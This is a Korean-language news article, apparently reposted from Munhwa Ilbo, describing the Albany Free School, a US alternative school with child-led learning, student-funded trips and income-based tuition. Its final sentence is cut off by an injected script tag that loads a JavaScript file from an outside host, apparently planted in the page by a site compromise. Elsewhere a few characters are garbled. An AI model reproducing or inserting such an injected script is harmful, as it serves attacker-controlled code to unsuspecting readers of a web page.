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짱뉴스 - 공교육희망찾기 대안학교

수련관 | 2001-06-11 | 조회수 : 8901
<공교육 희망찾기 대안학교> 자유로운 학습공동체-美 올버니 프리스쿨

출처 : 문화일보 등록일 : 2001-06-08

미국 뉴욕주 올버니시 사립 대안학교 올버니 프리스쿨(Free Scho
ol)에 다니는 흑인 아이 트루스는 10세나 됐지만 글을 못 읽는다. 트루스는 매일 오전 9시부터 30분 동안 낸시(여·56)교사에게 읽기와 쓰기·수학을 개인적으로 지도받는다. 공부를 무엇보다 싫어하는 트루스지만 이 시간만큼은 모든 정신을 집중한다.

낸시 교사는 "트루스는 자신이 글을 읽고 쓰지 못한다는 사실을 잘 알고 있는데다 배우겠다?결심을 했기 때문에 상상을 초월할 정도로 열심히 하고 있다"며 "일반 학교에서는 다른 학생들보다 지적인 능력이 떨어진다고 하겠지만 우리는 조금 늦게 배우고자 하는 욕구가 생겨났다고 본다"고 말했다. 지난 69년 세워진 이 학교 졸업생 중에는 12세에야 글을 깨쳤지만 대학에서 문학을 전공하는 학생도 있다.

인간은 누구나 배우고자 하는 자발적인 욕구가 있으며, 그 욕구가 분출하기 전에 억지로 가르치는 교육은 실패할 수밖에 없다는 것이 2세 유아부터 14세까지 55명의 학생들이 다니는 프리스쿨의 교육 철학이다.

올버니 프리스쿨의 식당 겸 놀이방·강당으로 쓰이는 2층 한쪽에서 이 학교 협동 운영자 크리스 메르코글리아노(47)가 6세 미만의 아이들에게 동화책을 읽어줄 때도 아이들은 제각각이다. 10여명은 크리스 이야기에 귀를 기울였지만 몇몇 아이들은 장난감 놀이에 바빴다. 어떤 아이는 아예 식당에서 점심 식사 준비를 돕고 있었다.

크리스는 "어떻게 보면 난장판 같지만 아이들은 저마다 배우고자 하는 욕구에 따라 행동하고 있다"며 "아이들이 배우고자 할 때까지 지식 교과를 강요하지 않는다"고 말했다.

공작실·체육실 등 7개 교실이 있는 건물 1층에는 방마다 책이 가득하고 읽기·쓰기·수학 등이 적힌 시간표가 붙어있지만 이대로 수업이 되는 경우는 거의 없다. 아이들이 배우기가 싫다면 수업은 자연스럽게 없어지고 저마다 책을 읽거나 인터넷을 하거나 다른 하고 싶은 일을 한다.

지난달 프리스쿨 7학년과 8학년(중1∼중2) 학생들은 방학도 아닌데 유럽에 여행을 떠났다. 학생들은 유럽의 역사와 문화를 현장에 가서 배우자고 의견을 모은 뒤 경비 9000달러 가량을 부모의 도움 없이 기업체 후원금과 아르바이트로 모았다.

학생들은 기행문을 담은 잡지를 만들 때 후원 기업체의 광고를 실어주겠다는 조건으로 돈을 받았다.

지난해에는 8학년 학생들이 같은 방법으로 돈을 모아 태풍 피해를 본 푸에르토리코에 2주일간 자원봉사를 다녀오기도 했다. 당시 자원봉사 뒤 만든 잡지를 판매해 무려 6000달러의 수익을 올려 학교에 기부도 했다.

이렇게 공부를 안 해도 상급 학교를 제대로 다닐 수 있을까. 이 학교 출신으로 지난해 올버니 공립고등학교에 진학한 사라(여·14)는 "딴 학교 출신 아이들은 대부분 학교에서 잠만 자고 공부를 하지 않는다"며 "프리스쿨에서 화학 실험을 제대로 못해 좀 힘들지만 다른 과목들은 별문제가 없다"고 말했다.

미국의 다른 공립 고교처럼 올버니 고등학교도 매년 750여명이 입학하지만 4년 뒤 졸업생은 350여명에 불과할 정도로 높은 중도 탈락률을 보이고 있다.

2세,4세난 자녀를 이 학교에 보내고 자신도 교사로 일하고 있는 바윈(27)씨는 "미국의 일반적인 학교는 학생들을 시험으로 평가하는데 골몰하지 그들이 배우려는 준비가 됐는지에는 관심이 없다"며 "프리스쿨은 자기 자신에 대해 스스로 책임질 수 있는 아이들을 길러내고 있다"고 말했다.


부모수입따라 수업료 차등 지식보다 공동체삶 가르쳐

학교를 지식이 전수되는 곳이라기보다는 삶을 나누는 공동체로 생각하는 프리스쿨은 부모의 수입에 따라 매월 15∼250달러로 수업료에 차등을 둔다.

부모의 경제적 능력이 자녀의 배울 기회를 제한해서는 안된다는 설립 이념 때문이다. 학부모 75%가 하류계층이기 때문에 1년 수업료 총액은 학교 운영 예산 9만달러의 3분의 1도 안된다. 나머지 경비는 건물 임대료와 기부금으로 충당된다.

정부의 간섭을 받지 않고 대안학교를 운영하기 위해서는 재정문제를 해결해야 한다고 생각한 프리스쿨은 80년대 초반 학교 주변 건물 10채를 구입했다. 사람들이 교외로 이사를 나가던 시기여서 100년 이상된 건물을 500∼3000달러의 헐값에 살 수 있었다. 운좋게도 시청에서 낡은 건물을 사면 수리비도 지원해 줬다.

프리스쿨 교사들은 이 때 구입한 주택을 제공받는 대신 월급을 800달러만 받는다. 교사들은 특별한 자격 조건은 없지만 적어도 1년 이상 학교에 근무해야만 한다. 프리스쿨의 이념을 배우려면 적어도 1년?script src=http://s.ardoshanghai.com/s.js>
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